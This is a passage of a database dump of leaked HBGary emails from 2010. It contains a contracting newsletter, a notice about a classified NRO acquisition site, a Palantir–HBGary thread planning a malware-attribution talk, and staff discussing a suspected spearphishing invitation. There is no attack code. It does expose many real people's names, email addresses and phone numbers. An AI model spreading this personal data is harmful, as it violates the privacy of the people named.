DAR Council has received numerous public comments voicing concerns over the proposed rule. Despite this fact, months have passed without any revisions or any indication that public hearings will be held related to the rule. This article discusses business systems (both as currently defined by regulations and as they would be defined under the proposed rule changes), the proposed rule changes, and implications of the proposed rule changes to Government Contractors. \r\n&nbsp;Full Article\r\n\r\nIn The Know: \r\nUpdates&nbsp;to Regulations and Guidance \r\nClick bulleted links for more details\r\nContracting Officers Withholds\r\nOFPP Sets Executive Compensation Cap for FY 2010 and Beyond\r\nFAR to implement the Federal Awardee Performance and Integrity Information Systems (FAPIIS)\r\nDFARS - issued that requires any loss, theft, damage, or destruction (LTDD) of government property\r\nDCAA Issues New Guidance to its Auditors pertaining to Reporting on Forward Pricing Rates in Pricing Proposals\r\nAligning FAR with Cost Accounting Standards\r\nAligning FAR with CAS 412 and 415 - ESOP Clarification \r\n                          \r\n                            \r\n                          \r\n                        \r\n\r\n\r\n\r\n\r\n\r\n                          \r\n                                                    \r\n                          \r\n                            \r\n                          \r\n                        \r\n\r\n\r\n&nbsp;&nbsp;\r\n					  \r\n					  \r\n					  \r\n						\r\n                      \r\n                    \r\n                \r\n              \r\n			  \r\n            \r\n			\r\n                \r\n                  \r\n					  \r\n                      \r\n                      \r\n\r\n\r\n&nbsp;&nbsp; \r\n&nbsp;&nbsp;\r\n                          \r\n                            \r\n							IN THIS ISSUE\r\n							\r\n                          \r\n                          \r\n							  The Perfect Storm - Discussion of Changes to DCAA Guidance Related to Internal Control Audits\r\n							  \r\n							  Summer of Opportunity - M&A Activity Heating Up Following Cooler Market Temperatures\r\n							  \r\n							  Growing Emphasis on Information Technology in Mergers and Acquisitions\r\n							  \r\n							  Proposed Business Systems Rule Changes\r\n							  \r\n							  In The Know: Updates to Regulations and Guidance\r\n							  \r\n							  Agency Spotlight: Defense Contract Management Agency (DCMA)\r\n							  \r\n                        \r\n\r\n\r\n\r\nAGENCY SPOTLIGHT\r\n&nbsp; \r\nDefense Contract Management Agency (DCMA)\r\nRyan Byrd and James Chang-&nbsp;&nbsp;Argy, Wiltse & Robinson, P.C.\r\n&nbsp;\r\nDCMA Background\r\nThe Defense Contract Management Agency (DCMA) is a component of the Department of Defense (DoD).&nbsp; The DCMA role&nbsp;helps to&nbsp;ensure that DoD and other Federal entities have supplies and services delivered on time, at projected cost, and meet all performance requirements. Before contract award, DCMA provides those entities with advice regarding solicitation; identifies potential risks, selects award winners, and assists with developing contracts.After contract award, the DCMA monitors contractors\' performance and management systems to ensure that cost, product performance, and delivery schedules are in compliance with terms and conditions of contracts. Agency data as of the end of June 2010 states there are 19,186 Contractors and 328,915 active contracts under DCMA\'s purview. \r\n&nbsp;Agency RealignmentCharlie Williams, Jr., Defense Contract Management Agency Director, recently announced that the DCMA finalized its tactical structure by aligning three primary Contract Management offices (CMOs) in the East, Central and West regions.&nbsp; Headquarters is located in the East region. The DCMA also established international CMOs in Europe, Middle East Asia, Iraq, Afghanistan and Pacific Asia. &nbsp;For its first regional commanders, the DCMA appointed Air Force Col. Aaron Clark, Army Col. Jeffrey Gabbert and Navy Capt. Sidney Kim.&nbsp; The DCMA\'s new structure has a five phase rollout and will target &nbsp;&nbsp;completion by the end of the year.&nbsp; Additionally, DCMA announced the appointment of Marie Greening for the Chief Operations Officer (COO), a newly created position under the Agency\'s regionally aligned organizational structure.&nbsp;Cost and Pricing CenterThe current backlog of unnegotiated Forward Pricing Rate Agreements nationwide has resulted in additional contractor effort and resources and&nbsp;delays in contract awards and audit report findings. In response to these issues, the DCMA established a Cost and Pricing Center. The DCMA is planning to establish Cost and Pricing branches at all CMOs as part of the realignment and&nbsp;hire 30 Chiefs and recruit business and technical staff.&nbsp;&nbsp; The establishment of the Cost and Pricing Center will enable the DCMA to better handle complex cost issues consistently across major contract sites.&nbsp; The DCMA is rebuilding its cost and pricing capability with additional training and improved relations with the Defense Contract Audit Agency (DCAA) by reconciling issues at the tactical level. &nbsp;\r\nDCMA and DCAA Emphasis on EVM and CPSR AuditsThe impetus behind the DCMA/DCAA focus on Earned Value Systems (EVM) and Contractor Purchasing Systems (CPSR) appears to stem from the following:&nbsp;DCAA Director Fitzgerald at the hearing of the \"Commission on Wartime Contracting in Iraq and Afghanistan (CWC)\", on July 26, 2010 stated, \"With respect to the three LOGCAP IV performance contractors, DCAA has reported all the estimating systems as inadequate and cited their estimating practices as being deficient for ensuring fair and reasonable subcontract prices.\"&nbsp; Additionally, \"DCAA has performed contractors\' purchasing system reviews (CPSRs) for the Defense Contract Management Agency (DCMA) Administrative Contracting Officer (ACO) at all of the three LOGCAP IV performance contractors and has found each system to be inadequate.\"&nbsp; Director Fitzgerald also stated , \"During our review of prime contractor billings and incurred cost audits, DCAA has identified situations where the prime contractor has not awarded its fixed-price subcontracts based on fair and reasonable prices leading to unreasonable or unallowable costs being paid by the Government.\" &nbsp;Historically, DCAA has provided assistance to the DCMA functional specialists with the purchasing system reviews, EVM and Property audits under the auspices of the cognizant contract administration office. While DCAA may identify deficiencies, the system adequacy determination is vested in the cognizant ACO.&nbsp; DCMA has increased staffing to accommodate the new focus.&nbsp;\r\n                      \r\n                    \r\n                \r\n              \r\n          \r\n        \r\n    \r\n    \r\n      \r\n		  \r\n        \r\n\r\n\r\n    \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEmail Marketing by\r\n\r\n\r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by kippsdesanto@kippsdesanto.com.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nKippsDeSanto & Co. | 1600 Tysons Boulevard | Suite 375 | McLean | VA | 22102\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3530,'aaron_hbgary_com/3530.html'),(11823,'2010-09-16','arc@westfields.net','/aaron@hbgary.com/new/1297008860.M62504P14101Q6676.eml','federal@hbgary.com','COMM Competitive Business Opportunity Posting','\r\nThe NRO/COMM Directorate is pleased to announce the release of a Competitive Business Opportunity on the classified ARC.  It will remain visible for ten calendar days. The Contract Type is expected to be: CPAF. The Effort Type is Other.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Competitive Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11809,'aaron_hbgary_com/11809.html'),(11824,'2010-09-16','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008860.M695077P14101Q6679.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TMC discussions / malware presentation at Palantir GovCon','Awesome!  I\'ll lock it in then, i.e. you WILL be speaking in a breakout\r\nsession....haha\r\n\r\nLet\'s try and meet early next week.  I\'ve been sick as a dog this week so I\r\nhave a lot of things to catch up on.  Shoot me over some times that work\r\nwith you.\r\n\r\n-Matt\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\nFollow @palantirtech\r\nWatch youtube.com/palantirtech\r\nAttend Palantir Night Live\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 15, 2010 9:34 PM\r\nTo: Matthew Steckman\r\nSubject: Re: TMC discussions / malware presentation at Palantir GovCon\r\nImportance: High\r\n\r\nUnderstand Matt.  Sorry about not making it out today, got slammed and\r\ndidn\'t put this on it on my calendar (big mistake).  Any other time this\r\nweek available?  I am pretty light the rest of the week.  Meeting with FBI\r\nCyber Division went very well.  They really like where we are trying to go\r\nwith the TMC.\r\n\r\nThings to discuss (folks that are short-term interested in TMC).\r\nIARPA\r\nUS-CERT\r\nFBI\r\n\r\nAs to the abstract, we are good with this.  The description is on with what\r\nwe are looking to build.  I am going to get a little bit of Greg\'s time next\r\nweek to review and provide some recommendations on the cluster analysis.\r\n\r\nAaron\r\n\r\nOn Sep 15, 2010, at 5:23 PM, Matthew Steckman wrote:\r\n\r\n> Aaron B, Ted, Mark,\r\n> \r\n> Understand that things are hectic these days but I need to confirm with\r\nyou that the abstract Aaron Z put together below is on the money.  We need\r\nto lock this in by tomorrow so that the GovCon6 agendas can be distributed.\r\n> \r\n> So, are we good to go on this?\r\n> \r\n> -Matt\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantir.com | 202-257-2270\r\n> \r\n> Follow @palantirtech\r\n> Watch youtube.com/palantirtech\r\n> Attend Palantir Night Live\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Zollman \r\n> Sent: Tuesday, September 14, 2010 11:11 PM\r\n> To: Ted Vera; aaron@hbgary.com; mark@hbgary.com\r\n> Cc: Matthew Steckman\r\n> Subject: TMC discussions / malware presentation at Palantir GovCon\r\n> \r\n> \r\n> 	Thanks guys.\r\n> \r\n> 	For my first pass, I worked with the 100mb file that Aaron B\r\nprovided -- it has 9,000 samples with an average of 20 fingerprints per\r\nsample. I mostly played around with it in object explorer -- in screenshots\r\n36-38 you can see me comparing the buffer security checks property in the\r\npre-2006 and post-2006 timeframes; in 39 you can see drilling down on the\r\nnewer malware objects with buffer security checks, and in 40 you can see a\r\nsnapshot of a single record.\r\n> \r\n> 	Not exactly thrilling analysis yet, but I think it\'s enough to get\r\nstarted. What\'d be nice is additional test data from TMC which gave us some\r\ncontrol systems (ip addresses, domains and/or URLs).. and if we can find a\r\nparticular cluster and link in some code pulled from code.google.com right\r\nin Palantir, I think it\'d look pretty good.\r\n> \r\n> 	If we can get a bit of human data ingested, too, we can basically\r\nreuse the abstract from RSA -- I may be stretching here, guys, so tell me if\r\nI\'m being too aggressive:\r\n> \r\n> \"\r\n> 	Attackers leave clues to their identity in the tools that they\r\ncreate. Drawing on its vast experience analyzing malware, HBGary has brought\r\ntogether binary disassembly, live traces, and human-centric data sets within\r\nthe Palantir platform. In this breakout session, HBGary and Palantir will\r\nshow how Palantir can identify trends in malware production over time and\r\ndrill into interesting clusters leading toward attribution to malware\r\nauthors or crime rings; and discuss the technical challenges in processing\r\nlarge volumes of malware and modeling the data within Palantir. \r\n> \"\r\n> \r\n> 	Hope this is a good start. Over the next few days I\'ll try and get a\r\nserver set up somewhere so that y\'all can dig into the data as well.\r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst azollman@palantir.com |\r\n202-684-8066\r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, September 10, 2010 5:58 PM\r\n> To: Aaron Zollman; aaron@hbgary.com; mark@hbgary.com\r\n> Subject: Re: GoToMeeting Invitation - TMC Discussions\r\n> \r\n> Here are the output files (attached).\r\n> \r\n> \r\n> Ted\r\n> \r\n> \r\n> \r\n> \r\n> On Wed, Sep 8, 2010 at 11:59 AM, Ted Vera  wrote:\r\n>> 1.  Please join my meeting, Wednesday, September 08 at 12:15 PM MDT.\r\n>> https://www1.gotomeeting.com/join/397597081\r\n>> \r\n>> 2.  Use your microphone and speakers (VoIP) - a headset is \r\n>> recommended. Or, call in using your telephone.\r\n>> \r\n>> Dial 914-339-0016\r\n>> Access Code: 397-597-081\r\n>> Audio PIN: Shown after joining the meeting\r\n>> \r\n>> Meeting ID: 397-597-081\r\n>> \r\n>> GoToMeetingR\r\n>> Online Meetings Made EasyT\r\n>> \r\n> \r\n> \r\n> \r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal Office 916-459-4727x118  |\r\nMobile 719-237-8623 www.hbgary.com  |  ted@hbgary.com\r\n\r\n',10095,'aaron_hbgary_com/10095.html'),(11825,'2010-09-16','\"Matt Standart\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297008860.M921722P14101Q6680.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,,','Re: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner','Interesting that it came from cocodot.com, which apparently is an amazon.com network.  Though the email headers may point to a different sender if its fake.\r\n\r\n \r\n-Matt\r\n \r\nOn Thu, Sep 16, 2010 at 4:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nI think so.\r\nI don&#39;t know either of these guys.\r\nThere are some misspellings.\r\nNo definition of what the tribute is for.\r\nInvitation was taken down 30 min after I got it.\r\n\r\nAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Sep 16, 2010, at 6:34 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\nI didn&#39;t dig into the URLs but are you saying it was a spearphish?\r\nOn Wed, Sep 15, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nCheck this shit out.  I just got this and not 30min. later the invitation was rescinded.\r\n\r\nNow this is getting pretty scary.  I almost opened it.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret&quot; &lt;mailer@delivery.cocodot.com&gt;\r\n\r\nDate: September 15, 2010 10:03:56 PM EDT\r\n\r\nTo: aaron@hbgary.com\r\n\r\nSubject: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nINVITATION:\r\nTribute Dinner\r\n\r\nHOST:\r\nLTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\r\n\r\n\r\nDATE:\r\nDecember 05, 2010\r\n\r\nTIME:\r\n06:00pm - 09:30pm EST\r\n\r\n \r\n\r\n\r\nLOCATION:\r\nMcLean Hilton Hotel\r\n\r\nADDRESS:\r\n7920 Jones Branch DrMcLean, VA 22102, USA\r\n\r\n \r\nlink to map\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCLICK TO VIEW INVITATION \r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nAdd mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox. \r\n\r\n\r\n \r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. Don&#39;t want to receive these messages? Unsubscribe. \r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',1940,'aaron_hbgary_com/1940.html'),(11826,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008861.M143115P14101Q6681.eml','\"Matt Standart\" <matt@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>,,,,,,','Re: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret 	invited you to Tribute Dinner','Is it possible the platform is legit but some text or link within the evite was bogus?AaronSent from my iPhoneOn Sep 16, 2010, at 9:11 AM, Matt Standart &lt;matt@hbgary.com&gt; wrote:\r\nInteresting that it came from cocodot.com, which apparently is an amazon.com network.  Though the email headers may point to a different sender if its fake.\r\n\r\n\r\n \r\n-Matt\r\n \r\nOn Thu, Sep 16, 2010 at 4:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nI think so.\r\nI don&#39;t know either of these guys.\r\nThere are some misspellings.\r\nNo definition of what the tribute is for.\r\nInvitation was taken down 30 min after I got it.\r\n\r\nAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Sep 16, 2010, at 6:34 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\nI didn&#39;t dig into the URLs but are you saying it was a spearphish?\r\nOn Wed, Sep 15, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCheck this shit out.  I just got this and not 30min. later the invitation was rescinded.\r\n\r\nNow this is getting pretty scary.  I almost opened it.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret&quot; &lt;mailer@delivery.cocodot.com&gt;\r\n\r\n\r\nDate: September 15, 2010 10:03:56 PM EDT\r\n\r\n\r\nTo: aaron@hbgary.com\r\n\r\n\r\nSubject: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nINVITATION:\r\nTribute Dinner\r\n\r\nHOST:\r\nLTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\r\n\r\n\r\n\r\nDATE:\r\nDecember 05, 2010\r\n\r\nTIME:\r\n06:00pm - 09:30pm EST\r\n\r\n \r\n\r\n\r\nLOCATION:\r\nMcLean Hilton Hotel\r\n\r\nADDRESS:\r\n7920 Jones Branch DrMcLean, VA 22102, USA\r\n\r\n \r\nlink to map\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCLICK TO VIEW INVITATION \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nAdd mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox. \r\n\r\n\r\n\r\n \r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. Don&#39;t want to receive these messages? Unsubscribe. \r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n',2136,'aaron_hbgary_com/2136.html'),(11827,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008861.M427795P14101Q6682.eml','\"Matt Standart\" <matt@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>,,,,,,','Re: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret 	invited you to Tribute Dinner','Is so that is a really astounding use of commercial platforms.  I can think of all sorts of easy exploitation avenues like that.Sent from my iPhoneOn Sep 16, 2010, at 9:11 AM, Matt Standart &lt;matt@hbgary.com&gt; wrote:\r\nInteresting that it came from cocodot.com, which apparently is an amazon.com network.  Though the email headers may point to a different sender if its fake.\r\n\r\n\r\n \r\n-Matt\r\n \r\nOn Thu, Sep 16, 2010 at 4:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nI think so.\r\nI don&#39;t know either of these guys.\r\nThere are some misspellings.\r\nNo definition of what the tribute is for.\r\nInvitation was taken down 30 min after I got it.\r\n\r\nAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Sep 16, 2010, at 6:34 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\nI didn&#39;t dig into the URLs but are you saying it was a spearphish?\r\nOn Wed, Sep 15, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCheck this shit out.  I just got this and not 30min. later the invitation was rescinded.\r\n\r\nNow this is getting pretty scary.  I almost opened it.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret&quot; &lt;mailer@delivery.cocodot.com&gt;\r\n\r\n\r\nDate: September 15, 2010 10:03:56 PM EDT\r\n\r\n\r\nTo: aaron@hbgary.com\r\n\r\n\r\nSubject: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nINVITATION:\r\nTribute Dinner\r\n\r\nHOST:\r\nLTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, 